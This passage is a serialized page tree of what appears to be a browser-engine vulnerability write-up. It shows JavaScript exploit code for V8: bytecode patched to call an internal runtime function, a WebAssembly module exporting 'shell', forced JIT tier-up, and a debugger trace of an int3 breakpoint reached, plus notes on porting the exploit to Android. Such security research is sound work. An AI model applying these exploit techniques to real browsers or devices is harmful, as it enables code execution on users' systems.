"style":7048},[28137],{"type":32,"value":7599},{"type":26,"tag":217,"props":28139,"children":28140},{"style":7130},[28141],{"type":32,"value":1883},{"type":26,"tag":217,"props":28143,"children":28144},{"style":7048},[28145],{"type":32,"value":7599},{"type":26,"tag":217,"props":28147,"children":28148},{"style":7130},[28149],{"type":32,"value":1883},{"type":26,"tag":217,"props":28151,"children":28152},{"style":7048},[28153],{"type":32,"value":7599},{"type":26,"tag":217,"props":28155,"children":28156},{"style":7130},[28157],{"type":32,"value":1883},{"type":26,"tag":217,"props":28159,"children":28160},{"style":7048},[28161],{"type":32,"value":7599},{"type":26,"tag":217,"props":28163,"children":28164},{"style":7130},[28165],{"type":32,"value":1883},{"type":26,"tag":217,"props":28167,"children":28168},{"style":7048},[28169],{"type":32,"value":7599},{"type":26,"tag":217,"props":28171,"children":28172},{"style":7130},[28173],{"type":32,"value":1883},{"type":26,"tag":217,"props":28175,"children":28176},{"style":7048},[28177],{"type":32,"value":7599},{"type":26,"tag":217,"props":28179,"children":28180},{"style":7130},[28181],{"type":32,"value":1883},{"type":26,"tag":217,"props":28183,"children":28184},{"style":7048},[28185],{"type":32,"value":10953},{"type":26,"tag":217,"props":28187,"children":28188},{"class":7028,"line":7553},[28189,28193,28197,28201,28205,28209,28213,28217,28221,28225,28229,28233,28237,28241,28245,28249,28253,28257,28261,28265,28269,28273,28277,28281,28285,28289,28293,28297,28301,28305,28309,28313,28317,28321,28325,28329,28333,28337,28341,28345,28349,28353,28357,28361,28365,28369,28373,28377,28381,28385,28389,28394,28398,28402],{"type":26,"tag":217,"props":28190,"children":28191},{"style":7130},[28192],{"type":32,"value":26678},{"type":26,"tag":217,"props":28194,"children":28195},{"style":7048},[28196],{"type":32,"value":7599},{"type":26,"tag":217,"props":28198,"children":28199},{"style":7130},[28200],{"type":32,"value":1883},{"type":26,"tag":217,"props":28202,"children":28203},{"style":7048},[28204],{"type":32,"value":7599},{"type":26,"tag":217,"props":28206,"children":28207},{"style":7130},[28208],{"type":32,"value":1883},{"type":26,"tag":217,"props":28210,"children":28211},{"style":7048},[28212],{"type":32,"value":7599},{"type":26,"tag":217,"props":28214,"children":28215},{"style":7130},[28216],{"type":32,"value":1883},{"type":26,"tag":217,"props":28218,"children":28219},{"style":7048},[28220],{"type":32,"value":7599},{"type":26,"tag":217,"props":28222,"children":28223},{"style":7130},[28224],{"type":32,"value":1883},{"type":26,"tag":217,"props":28226,"children":28227},{"style":7048},[28228],{"type":32,"value":7599},{"type":26,"tag":217,"props":28230,"children":28231},{"style":7130},[28232],{"type":32,"value":1883},{"type":26,"tag":217,"props":28234,"children":28235},{"style":7048},[28236],{"type":32,"value":7599},{"type":26,"tag":217,"props":28238,"children":28239},{"style":7130},[28240],{"type":32,"value":1883},{"type":26,"tag":217,"props":28242,"children":28243},{"style":7048},[28244],{"type":32,"value":7599},{"type":26,"tag":217,"props":28246,"children":28247},{"style":7130},[28248],{"type":32,"value":1883},{"type":26,"tag":217,"props":28250,"children":28251},{"style":7048},[28252],{"type":32,"value":7599},{"type":26,"tag":217,"props":28254,"children":28255},{"style":7130},[28256],{"type":32,"value":1883},{"type":26,"tag":217,"props":28258,"children":28259},{"style":7048},[28260],{"type":32,"value":7599},{"type":26,"tag":217,"props":28262,"children":28263},{"style":7130},[28264],{"type":32,"value":1883},{"type":26,"tag":217,"props":28266,"children":28267},{"style":7048},[28268],{"type":32,"value":7599},{"type":26,"tag":217,"props":28270,"children":28271},{"style":7130},[28272],{"type":32,"value":1883},{"type":26,"tag":217,"props":28274,"children":28275},{"style":7048},[28276],{"type":32,"value":7599},{"type":26,"tag":217,"props":28278,"children":28279},{"style":7130},[28280],{"type":32,"value":1883},{"type":26,"tag":217,"props":28282,"children":28283},{"style":7048},[28284],{"type":32,"value":7599},{"type":26,"tag":217,"props":28286,"children":28287},{"style":7130},[28288],{"type":32,"value":1883},{"type":26,"tag":217,"props":28290,"children":28291},{"style":7048},[28292],{"type":32,"value":7599},{"type":26,"tag":217,"props":28294,"children":28295},{"style":7130},[28296],{"type":32,"value":1883},{"type":26,"tag":217,"props":28298,"children":28299},{"style":7048},[28300],{"type":32,"value":7599},{"type":26,"tag":217,"props":28302,"children":28303},{"style":7130},[28304],{"type":32,"value":1883},{"type":26,"tag":217,"props":28306,"children":28307},{"style":7048},[28308],{"type":32,"value":7599},{"type":26,"tag":217,"props":28310,"children":28311},{"style":7130},[28312],{"type":32,"value":1883},{"type":26,"tag":217,"props":28314,"children":28315},{"style":7048},[28316],{"type":32,"value":7599},{"type":26,"tag":217,"props":28318,"children":28319},{"style":7130},[28320],{"type":32,"value":1883},{"type":26,"tag":217,"props":28322,"children":28323},{"style":7048},[28324],{"type":32,"value":7599},{"type":26,"tag":217,"props":28326,"children":28327},{"style":7130},[28328],{"type":32,"value":1883},{"type":26,"tag":217,"props":28330,"children":28331},{"style":7048},[28332],{"type":32,"value":7599},{"type":26,"tag":217,"props":28334,"children":28335},{"style":7130},[28336],{"type":32,"value":1883},{"type":26,"tag":217,"props":28338,"children":28339},{"style":7048},[28340],{"type":32,"value":7599},{"type":26,"tag":217,"props":28342,"children":28343},{"style":7130},[28344],{"type":32,"value":1883},{"type":26,"tag":217,"props":28346,"children":28347},{"style":7048},[28348],{"type":32,"value":7599},{"type":26,"tag":217,"props":28350,"children":28351},{"style":7130},[28352],{"type":32,"value":1883},{"type":26,"tag":217,"props":28354,"children":28355},{"style":7048},[28356],{"type":32,"value":7599},{"type":26,"tag":217,"props":28358,"children":28359},{"style":7130},[28360],{"type":32,"value":1883},{"type":26,"tag":217,"props":28362,"children":28363},{"style":7048},[28364],{"type":32,"value":7599},{"type":26,"tag":217,"props":28366,"children":28367},{"style":7130},[28368],{"type":32,"value":1883},{"type":26,"tag":217,"props":28370,"children":28371},{"style":7048},[28372],{"type":32,"value":7599},{"type":26,"tag":217,"props":28374,"children":28375},{"style":7130},[28376],{"type":32,"value":22712},{"type":26,"tag":217,"props":28378,"children":28379},{"style":7048},[28380],{"type":32,"value":7599},{"type":26,"tag":217,"props":28382,"children":28383},{"style":7130},[28384],{"type":32,"value":27934},{"type":26,"tag":217,"props":28386,"children":28387},{"style":7048},[28388],{"type":32,"value":7599},{"type":26,"tag":217,"props":28390,"children":28391},{"style":7130},[28392],{"type":32,"value":28393},"198",{"type":26,"tag":217,"props":28395,"children":28396},{"style":7048},[28397],{"type":32,"value":7599},{"type":26,"tag":217,"props":28399,"children":28400},{"style":7130},[28401],{"type":32,"value":1883},{"type":26,"tag":217,"props":28403,"children":28404},{"style":7048},[28405],{"type":32,"value":10953},{"type":26,"tag":217,"props":28407,"children":28408},{"class":7028,"line":7570},[28409],{"type":26,"tag":217,"props":28410,"children":28411},{"style":7048},[28412],{"type":32,"value":26965},{"type":26,"tag":217,"props":28414,"children":28415},{"class":7028,"line":7621},[28416,28420,28425,28429,28434,28438,28442,28446,28451,28455,28459],{"type":26,"tag":217,"props":28417,"children":28418},{"style":7154},[28419],{"type":32,"value":24787},{"type":26,"tag":217,"props":28421,"children":28422},{"style":7054},[28423],{"type":32,"value":28424}," r",{"type":26,"tag":217,"props":28426,"children":28427},{"style":7149},[28428],{"type":32,"value":8993},{"type":26,"tag":217,"props":28430,"children":28431},{"style":7064},[28432],{"type":32,"value":28433}," bug",{"type":26,"tag":217,"props":28435,"children":28436},{"style":7048},[28437],{"type":32,"value":1851},{"type":26,"tag":217,"props":28439,"children":28440},{"style":7054},[28441],{"type":32,"value":26288},{"type":26,"tag":217,"props":28443,"children":28444},{"style":7048},[28445],{"type":32,"value":7599},{"type":26,"tag":217,"props":28447,"children":28448},{"style":7054},[28449],{"type":32,"value":28450},"buffer",{"type":26,"tag":217,"props":28452,"children":28453},{"style":7048},[28454],{"type":32,"value":180},{"type":26,"tag":217,"props":28456,"children":28457},{"style":7054},[28458],{"type":32,"value":28450},{"type":26,"tag":217,"props":28460,"children":28461},{"style":7048},[28462],{"type":32,"value":7669},{"type":26,"tag":217,"props":28464,"children":28465},{"class":7028,"line":7672},[28466,28471,28475,28479,28483,28487,28491,28496,28501,28505],{"type":26,"tag":217,"props":28467,"children":28468},{"style":7054},[28469],{"type":32,"value":28470},"  result",{"type":26,"tag":217,"props":28472,"children":28473},{"style":7149},[28474],{"type":32,"value":8993},{"type":26,"tag":217,"props":28476,"children":28477},{"style":7048},[28478],{"type":32,"value":7051},{"type":26,"tag":217,"props":28480,"children":28481},{"style":7042},[28482],{"type":32,"value":7864},{"type":26,"tag":217,"props":28484,"children":28485},{"style":7054},[28486],{"type":32,"value":28424},{"type":26,"tag":217,"props":28488,"children":28489},{"style":7048},[28490],{"type":32,"value":180},{"type":26,"tag":217,"props":28492,"children":28493},{"style":7064},[28494],{"type":32,"value":28495},"next",{"type":26,"tag":217,"props":28497,"children":28498},{"style":7048},[28499],{"type":32,"value":28500},"()).",{"type":26,"tag":217,"props":28502,"children":28503},{"style":7054},[28504],{"type":32,"value":15127},{"type":26,"tag":217,"props":28506,"children":28507},{"style":7048},[28508],{"type":32,"value":7162},{"type":26,"tag":217,"props":28510,"children":28511},{"class":7028,"line":7681},[28512,28516,28521,28525,28529,28533,28537,28541,28545,28549],{"type":26,"tag":217,"props":28513,"children":28514},{"style":7154},[28515],{"type":32,"value":26650},{"type":26,"tag":217,"props":28517,"children":28518},{"style":7054},[28519],{"type":32,"value":28520}," wasm_instance",{"type":26,"tag":217,"props":28522,"children":28523},{"style":7149},[28524],{"type":32,"value":8993},{"type":26,"tag":217,"props":28526,"children":28527},{"style":7154},[28528],{"type":32,"value":25931},{"type":26,"tag":217,"props":28530,"children":28531},{"style":7054},[28532],{"type":32,"value":26270},{"type":26,"tag":217,"props":28534,"children":28535},{"style":7048},[28536],{"type":32,"value":180},{"type":26,"tag":217,"props":28538,"children":28539},{"style":7064},[28540],{"type":32,"value":26325},{"type":26,"tag":217,"props":28542,"children":28543},{"style":7048},[28544],{"type":32,"value":1851},{"type":26,"tag":217,"props":28546,"children":28547},{"style":7054},[28548],{"type":32,"value":14769},{"type":26,"tag":217,"props":28550,"children":28551},{"style":7048},[28552],{"type":32,"value":7669},{"type":26,"tag":217,"props":28554,"children":28555},{"class":7028,"line":7754},[28556,28560,28565,28569,28573,28577,28581,28585,28589],{"type":26,"tag":217,"props":28557,"children":28558},{"style":7154},[28559],{"type":32,"value":26650},{"type":26,"tag":217,"props":28561,"children":28562},{"style":7054},[28563],{"type":32,"value":28564}," f",{"type":26,"tag":217,"props":28566,"children":28567},{"style":7149},[28568],{"type":32,"value":8993},{"type":26,"tag":217,"props":28570,"children":28571},{"style":7054},[28572],{"type":32,"value":28520},{"type":26,"tag":217,"props":28574,"children":28575},{"style":7048},[28576],{"type":32,"value":180},{"type":26,"tag":217,"props":28578,"children":28579},{"style":7054},[28580],{"type":32,"value":26367},{"type":26,"tag":217,"props":28582,"children":28583},{"style":7048},[28584],{"type":32,"value":180},{"type":26,"tag":217,"props":28586,"children":28587},{"style":7054},[28588],{"type":32,"value":26376},{"type":26,"tag":217,"props":28590,"children":28591},{"style":7048},[28592],{"type":32,"value":7162},{"type":26,"tag":217,"props":28594,"children":28595},{"class":7028,"line":7784},[28596,28601],{"type":26,"tag":217,"props":28597,"children":28598},{"style":7064},[28599],{"type":32,"value":28600},"  f",{"type":26,"tag":217,"props":28602,"children":28603},{"style":7048},[28604],{"type":32,"value":8217},{"type":26,"tag":217,"props":28606,"children":28607},{"class":7028,"line":7802},[28608],{"type":26,"tag":217,"props":28609,"children":28610},{"style":7048},[28611],{"type":32,"value":28612},"})();\n",{"type":26,"tag":39,"props":28614,"children":28615},{},[28616],{"type":32,"value":28617},"Running this in a debugger shows the expected breakpoint:",{"type":26,"tag":207,"props":28619,"children":28621},{"code":28620},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[28622],{"type":26,"tag":83,"props":28623,"children":28624},{"__ignoreMap":8},[28625],{"type":32,"value":28620},{"type":26,"tag":607,"props":28627,"children":28629},{"id":28628},"porting-to-android",[28630],{"type":32,"value":28631},"Porting to Android",{"type":26,"tag":39,"props":28633,"children":28634},{},[28635,28637,28642,28644,28649,28651,28656,28658,28664],{"type":32,"value":28636},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":26,"tag":83,"props":28638,"children":28640},{"className":28639},[],[28641],{"type":32,"value":25391},{"type":32,"value":28643}," fails. We cross-compiled ",{"type":26,"tag":83,"props":28645,"children":28647},{"className":28646},[],[28648],{"type":32,"value":24540},{"type":32,"value":28650}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":26,"tag":83,"props":28652,"children":28654},{"className":28653},[],[28655],{"type":32,"value":25391},{"type":32,"value":28657}," returned ",{"type":26,"tag":83,"props":28659,"children":28661},{"className":28660},[],[28662],{"type":32,"value":28663},"undefined",{"type":32,"value":180},{"type":26,"tag":39,"props":28666,"children":28667},{},[28668,28670,28675,28677,28682],{"type":32,"value":28669},"Instead, we modified the bytecode to call ",{"type":26,"tag":83,"props":28671,"children":28673},{"className":28672},[],[28674],{"type":32,"value":25417},{"type":32,"value":28676}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":26,"tag":83,"props":28678,"children":28680},{"className":28679},[],[28681],{"type":32,"value":25391},{"type":32,"value":180},{"type":26,"tag":207,"props":28684,"children":28686},{"code":28685,"language":12397,"meta":8,"className":12398,"style":8},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[28687],{"type":26,"tag":83,"props":28688,"children":28689},{"__ignoreMap":8},[28690,28701,28745,28765,28781,28804,28831,28846],{"type":26,"tag":217,"props":28691,"children":28692},{"class":7028,"line":7029},[28693,28697],{"type":26,"tag":217,"props":28694,"children":28695},{"style":7042},[28696],{"type":32,"value":24742},{"type":26,"tag":217,"props":28698,"children":28699},{"style":7048},[28700],{"type":32,"value":8064},{"type":26,"tag":217,"props":28702,"children":28703},{"class":7028,"line":6770},[28704,28708,28712,28716,28720,28724,28728,28733,28737,28741],{"type":26,"tag":217,"props":28705,"children":28706},{"style":7054},[28707],{"type":32,"value":25662},{"type":26,"tag":217,"props":28709,"children":28710},{"style":7048},[28711],{"type":32,"value":25667},{"type":26,"tag":217,"props":28713,"children":28714},{"style":7338},[28715],{"type":32,"value":25672},{"type":26,"tag":217,"props":28717,"children":28718},{"style":7048},[28719],{"type":32,"value":180},{"type":26,"tag":217,"props":28721,"children":28722},{"style":7064},[28723],{"type":32,"value":12605},{"type":26,"tag":217,"props":28725,"children":28726},{"style":7048},[28727],{"type":32,"value":1851},{"type":26,"tag":217,"props":28729,"children":28730},{"style":7130},[28731],{"type":32,"value":28732},"0x059301",{"type":26,"tag":217,"props":28734,"children":28735},{"style":7149},[28736],{"type":32,"value":12618},{"type":26,"tag":217,"props":28738,"children":28739},{"style":7130},[28740],{"type":32,"value":9742},{"type":26,"tag":217,"props":28742,"children":28743},{"style":7048},[28744],{"type":32,"value":25702},{"type":26,"tag":217,"props":28746,"children":28747},{"class":7028,"line":6779},[28748,28752,28756,28761],{"type":26,"tag":217,"props":28749,"children":28750},{"style":7054},[28751],{"type":32,"value":25710},{"type":26,"tag":217,"props":28753,"children":28754},{"style":7149},[28755],{"type":32,"value":9025},{"type":26,"tag":217,"props":28757,"children":28758},{"style":7130},[28759],{"type":32,"value":28760}," 0x03027a6c",{"type":26,"tag":217,"props":28762,"children":28763},{"style":7048},[28764],{"type":32,"value":7162},{"type":26,"tag":217,"props":28766,"children":28767},{"class":7028,"line":7140},[28768,28772,28777],{"type":26,"tag":217,"props":28769,"children":28770},{"style":7042},[28771],{"type":32,"value":24754},{"type":26,"tag":217,"props":28773,"children":28774},{"style":7130},[28775],{"type":32,"value":28776}," 0x393e71a",{"type":26,"tag":217,"props":28778,"children":28779},{"style":7048},[28780],{"type":32,"value":7162},{"type":26,"tag":217,"props":28782,"children":28783},{"class":7028,"line":7165},[28784,28788,28792,28796,28800],{"type":26,"tag":217,"props":28785,"children":28786},{"style":7048},[28787],{"type":32,"value":24770},{"type":26,"tag":217,"props":28789,"children":28790},{"style":7042},[28791],{"type":32,"value":24775},{"type":26,"tag":217,"props":28793,"children":28794},{"style":7048},[28795],{"type":32,"value":7051},{"type":26,"tag":217,"props":28797,"children":28798},{"style":7054},[28799],{"type":32,"value":2400},{"type":26,"tag":217,"props":28801,"children":28802},{"style":7048},[28803],{"type":32,"value":7618},{"type":26,"tag":217,"props":28805,"children":28806},{"class":7028,"line":7178},[28807,28811,28815,28819,28823,28827],{"type":26,"tag":217,"props":28808,"children":28809},{"style":7054},[28810],{"type":32,"value":25770},{"type":26,"tag":217,"props":28812,"children":28813},{"style":7048},[28814],{"type":32,"value":180},{"type":26,"tag":217,"props":28816,"children":28817},{"style":7064},[28818],{"type":32,"value":25779},{"type":26,"tag":217,"props":28820,"children":28821},{"style":7048},[28822],{"type":32,"value":1851},{"type":26,"tag":217,"props":28824,"children":28825},{"style":7338},[28826],{"type":32,"value":25788},{"type":26,"tag":217,"props":28828,"children":28829},{"style":7048},[28830],{"type":32,"value":7669},{"type":26,"tag":217,"props":28832,"children":28833},{"class":7028,"line":7389},[28834,28838,28842],{"type":26,"tag":217,"props":28835,"children":28836},{"style":7042},[28837],{"type":32,"value":25800},{"type":26,"tag":217,"props":28839,"children":28840},{"style":7054},[28841],{"type":32,"value":25805},{"type":26,"tag":217,"props":28843,"children":28844},{"style":7048},[28845],{"type":32,"value":7162},{"type":26,"tag":217,"props":28847,"children":28848},{"class":7028,"line":7406},[28849],{"type":26,"tag":217,"props":28850,"children":28851},{"style":7048},[28852],{"type":32,"value":7184},{"type":26,"tag":39,"props":28854,"children":28855},{},[28856,28858,28864,28866,28872,28874,28880,28882,28887,28889,28895,28897,28902,28903,28909],{"type":32,"value":28857},"Here, ",{"type":26,"tag":83,"props":28859,"children":28861},{"className":28860},[],[28862],{"type":32,"value":28863},"a1 + 0x03027a6c",{"type":32,"value":28865}," generates the bytes ",{"type":26,"tag":83,"props":28867,"children":28869},{"className":28868},[],[28870],{"type":32,"value":28871},"01 4b 6c 7a 02 03",{"type":32,"value":28873},", where ",{"type":26,"tag":83,"props":28875,"children":28877},{"className":28876},[],[28878],{"type":32,"value":28879},"0x6c",{"type":32,"value":28881}," is the ",{"type":26,"tag":83,"props":28883,"children":28885},{"className":28884},[],[28886],{"type":32,"value":25375},{"type":32,"value":28888}," opcode, ",{"type":26,"tag":83,"props":28890,"children":28892},{"className":28891},[],[28893],{"type":32,"value":28894},"0x027a",{"type":32,"value":28896}," is the function ID of ",{"type":26,"tag":83,"props":28898,"children":28900},{"className":28899},[],[28901],{"type":32,"value":25417},{"type":32,"value":17577},{"type":26,"tag":83,"props":28904,"children":28906},{"className":28905},[],[28907],{"type":32,"value":28908},"0x03",{"type":32,"value":28910}," is the register index holding its first argument.",{"type":26,"tag":39,"props":28912,"children":28913},{},[28914,28916,28921,28922,28927,28929,28934],{"type":32,"value":28915},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":26,"tag":83,"props":28917,"children":28919},{"className":28918},[],[28920],{"type":32,"value":25417},{"type":32,"value":1308},{"type":26,"tag":83,"props":28923,"children":28925},{"className":28924},[],[28926],{"type":32,"value":26400},{"type":32,"value":28928},". To avoid patching the bytecode again to invoke ",{"type":26,"tag":83,"props":28930,"children":28932},{"className":28931},[],[28933],{"type":32,"value":26400},{"type":32,"value":28935},", we can force Turbofan to compile the target function like this:",{"type":26,"tag":207,"props":28937,"children":28939},{"code":28938,"language":12397,"meta":8,"className":12398,"style":8},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[28940],{"type":26,"tag":83,"props":28941,"children":28942},{"__ignoreMap":8},[28943,28951,29013,29025],{"type":26,"tag":217,"props":28944,"children":28945},{"class":7028,"line":7029},[28946],{"type":26,"tag":217,"props":28947,"children":28948},{"style":7033},[28949],{"type":32,"value":28950},"// %WasmTierUpFunction(func);\n",{"type":26,"tag":217,"props":28952,"children":28953},{"class":7028,"line":6770},[28954,28959,28963,28967,28972,28976,28980,28984,28988,28992,28997,29001,29005,29009],{"type":26,"tag":217,"props":28955,"children":28956},{"style":7042},[28957],{"type":32,"value":28958},"for",{"type":26,"tag":217,"props":28960,"children":28961},{"style":7048},[28962],{"type":32,"value":7051},{"type":26,"tag":217,"props":28964,"children":28965},{"style":7154},[28966],{"type":32,"value":12470},{"type":26,"tag":217,"props":28968,"children":28969},{"style":7054},[28970],{"type":32,"value":28971}," i",{"type":26,"tag":217,"props":28973,"children":28974},{"style":7149},[28975],{"type":32,"value":8993},{"type":26,"tag":217,"props":28977,"children":28978},{"style":7130},[28979],{"type":32,"value":9922},{"type":26,"tag":217,"props":28981,"children":28982},{"style":7048},[28983],{"type":32,"value":13137},{"type":26,"tag":217,"props":28985,"children":28986},{"style":7054},[28987],{"type":32,"value":2290},{"type":26,"tag":217,"props":28989,"children":28990},{"style":7149},[28991],{"type":32,"value":13147},{"type":26,"tag":217,"props":28993,"children":28994},{"style":7130},[28995],{"type":32,"value":28996}," 0x100000",{"type":26,"tag":217,"props":28998,"children":28999},{"style":7048},[29000],{"type":32,"value":13137},{"type":26,"tag":217,"props":29002,"children":29003},{"style":7054},[29004],{"type":32,"value":2290},{"type":26,"tag":217,"props":29006,"children":29007},{"style":7149},[29008],{"type":32,"value":11082},{"type":26,"tag":217,"props":29010,"children":29011},{"style":7048},[29012],{"type":32,"value":7618},{"type":26,"tag":217,"props":29014,"children":29015},{"class":7028,"line":6779},[29016,29021],{"type":26,"tag":217,"props":29017,"children":29018},{"style":7064},[29019],{"type":32,"value":29020},"  func",{"type":26,"tag":217,"props":29022,"children":29023},{"style":7048},[29024],{"type":32,"value":8217},{"type":26,"tag":217,"props":29026,"children":29027},{"class":7028,"line":7140},[29028],{"type":26,"tag":217,"props":29029,"children":29030},{"style":7048},[29031],{"type":32,"value":7184},{"type":26,"tag":39,"props":29033,"children":29034},{},[29035],{"type":32,"value":29036},"Finally, running this code on the device:",{"type":26,"tag":207,"props":29038,"children":29040},{"code":29039,"language":12397,"meta":8,"className":12398,"style":8},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[29041],{"type":26,"tag":83,"props":29042,"children":29043},{"__ignoreMap":8},[29044,29067,29095,29314,29381,29388,29431,29474,29513,29520,29528,29588,29600,29607,29614,29645,29688,29715,29722,29758,29821],{"type":26,"tag":217,"props":29045,"children":29046},{"class":7028,"line":7029},[29047,29051,29055,29059,29063],{"type":26,"tag":217,"props":29048,"children":29049},{"style":7048},[29050],{"type":32,"value":1851},{"type":26,"tag":217,"props":29052,"children":29053},{"style":7154},[29054],{"type":32,"value":14091},{"type":26,"tag":217,"props":29056,"children":29057},{"style":7048},[29058],{"type":32,"value":26634},{"type":26,"tag":217,"props":29060,"children":29061},{"style":7154},[29062],{"type":32,"value":8059},{"type":26,"tag":217,"props":29064,"children":29065},{"style":7048},[29066],{"type":32,"value":8064},{"type":26,"tag":217,"props":29068,"children":29069},{"class":7028,"line":6770},[29070,29075,29079,29083,29087,29091],{"type":26,"tag":217,"props":29071,"children":29072},{"style":7154},[29073],{"type":32,"value":29074},"  var",{"type":26,"tag":217,"props":29076,"children":29077},{"style":7054},[29078],{"type":32,"value":25922},{"type":26,"tag":217,"props":29080,"children":29081},{"style":7149},[29082],{"type":32,"value":8993},{"type":26,"tag":217,"props":29084,"children":29085},{"style":7154},[29086],{"type":32,"value":25931},{"type":26,"tag":217,"props":29088,"children":29089},{"style":7064},[29090],{"type":32,"value":25936},{"type":26,"tag":217,"props":29092,"children":29093},{"style":7048},[29094],{"type":32,"value":25941},{"type":26,"tag":217,"props":29096,"children":29097},{"class":7028,"line":6779},[29098,29102,29106,29110,29114,29118,29122,29126,29130,29134,29138,29142,29146,29150,29154,29158,29162,29166,29170,29174,29178,29182,29186,29190,29194,29198,29202,29206,29210,29214,29218,29222,29226,29230,29234,29238,29242,29246,29250,29254,29258,29262,29266,29270,29274,29278,29282,29286,29290,29294,29298,29302,29306,29310],{"type":26,"tag":217,"props":29099,"children":29100},{"style":7130},[29101],{"type":32,"value":26678},{"type":26,"tag":217,"props":29103,"children":29104},{"style":7048},[29105],{"type":32,"value":7599},{"type":26,"tag":217,"props":29107,"children":29108},{"style":7130},[29109],{"type":32,"value":25958},{"type":26,"tag":217,"props":29111,"children":29112},{"style":7048},[29113],{"type":32,"value":7599},{"type":26,"tag":217,"props":29115,"children":29116},{"style":7130},[29117],{"type":32,"value":25967},{"type":26,"tag":217,"props":29119,"children":29120},{"style":7048},[29121],{"type":32,"value":7599},{"type":26,"tag":217,"props":29123,"children":29124},{"style":7130},[29125],{"type":32,"value":25976},{"type":26,"tag":217,"props":29127,"children":29128},{"style":7048},[29129],{"type":32,"value":7599},{"type":26,"tag":217,"props":29131,"children":29132},{"style":7130},[29133],{"type":32,"value":185},{"type":26,"tag":217,"props":29135,"children":29136},{"style":7048},[29137],{"type":32,"value":7599},{"type":26,"tag":217,"props":29139,"children":29140},{"style":7130},[29141],{"type":32,"value":1883},{"type":26,"tag":217,"props":29143,"children":29144},{"style":7048},[29145],{"type":32,"value":7599},{"type":26,"tag":217,"props":29147,"children":29148},{"style":7130},[29149],{"type":32,"value":1883},{"type":26,"tag":217,"props":29151,"children":29152},{"style":7048},[29153],{"type":32,"value":7599},{"type":26,"tag":217,"props":29155,"children":29156},{"style":7130},[29157],{"type":32,"value":1883},{"type":26,"tag":217,"props":29159,"children":29160},{"style":7048},[29161],{"type":32,"value":7599},{"type":26,"tag":217,"props":29163,"children":29164},{"style":7130},[29165],{"type":32,"value":185},{"type":26,"tag":217,"props":29167,"children":29168},{"style":7048},[29169],{"type":32,"value":7599},{"type":26,"tag":217,"props":29171,"children":29172},{"style":7130},[29173],{"type":32,"value":10985},{"type":26,"tag":217,"props":29175,"children":29176},{"style":7048},[29177],{"type":32,"value":7599},{"type":26,"tag":217,"props":29179,"children":29180},{"style":7130},[29181],{"type":32,"value":185},{"type":26,"tag":217,"props":29183,"children":29184},{"style":7048},[29185],{"type":32,"value":7599},{"type":26,"tag":217,"props":29187,"children":29188},{"style":7130},[29189],{"type":32,"value":26041},{"type":26,"tag":217,"props":29191,"children":29192},{"style":7048},[29193],{"type":32,"value":7599},{"type":26,"tag":217,"props":29195,"children":29196},{"style":7130},[29197],{"type":32,"value":1883},{"type":26,"tag":217,"props":29199,"children":29200},{"style":7048},[29201],{"type":32,"value":7599},{"type":26,"tag":217,"props":29203,"children":29204},{"style":7130},[29205],{"type":32,"value":1883},{"type":26,"tag":217,"props":29207,"children":29208},{"style":7048},[29209],{"type":32,"value":7599},{"type":26,"tag":217,"props":29211,"children":29212},{"style":7130},[29213],{"type":32,"value":10676},{"type":26,"tag":217,"props":29215,"children":29216},{"style":7048},[29217],{"type":32,"value":7599},{"type":26,"tag":217,"props":29219,"children":29220},{"style":7130},[29221],{"type":32,"value":332},{"type":26,"tag":217,"props":29223,"children":29224},{"style":7048},[29225],{"type":32,"value":7599},{"type":26,"tag":217,"props":29227,"children":29228},{"style":7130},[29229],{"type":32,"value":185},{"type":26,"tag":217,"props":29231,"children":29232},{"style":7048},[29233],{"type":32,"value":7599},{"type":26,"tag":217,"props":29235,"children":29236},{"style":7130},[29237],{"type":32,"value":1883},{"type":26,"tag":217,"props":29239,"children":29240},{"style":7048},[29241],{"type":32,"value":7599},{"type":26,"tag":217,"props":29243,"children":29244},{"style":7130},[29245],{"type":32,"value":19177},{"type":26,"tag":217,"props":29247,"children":29248},{"style":7048},[29249],{"type":32,"value":7599},{"type":26,"tag":217,"props":29251,"children":29252},{"style":7130},[29253],{"type":32,"value":26106},{"type":26,"tag":217,"props":29255,"children":29256},{"style":7048},[29257],{"type":32,"value":7599},{"type":26,"tag":217,"props":29259,"children":29260},{"style":7130},[29261],{"type":32,"value":185},{"type":26,"tag":217,"props":29263,"children":29264},{"style":7048},[29265],{"type":32,"value":7599},{"type":26,"tag":217,"props":29267,"children":29268},{"style":7130},[29269],{"type":32,"value":25499},{"type":26,"tag":217,"props":29271,"children":29272},{"style":7048},[29273],{"type":32,"value":7599},{"type":26,"tag":217,"props":29275,"children":29276},{"style":7130},[29277],{"type":32,"value":25967},{"type":26,"tag":217,"props":29279,"children":29280},{"style":7048},[29281],{"type":32,"value":7599},{"type":26,"tag":217,"props":29283,"children":29284},{"style":7130},[29285],{"type":32,"value":26139},{"type":26,"tag":217,"props":29287,"children":29288},{"style":7048},[29289],{"type":32,"value":7599},{"type":26,"tag":217,"props":29291,"children":29292},{"style":7130},[29293],{"type":32,"value":26148},{"type":26,"tag":217,"props":29295,"children":29296},{"style":7048},[29297],{"type":32,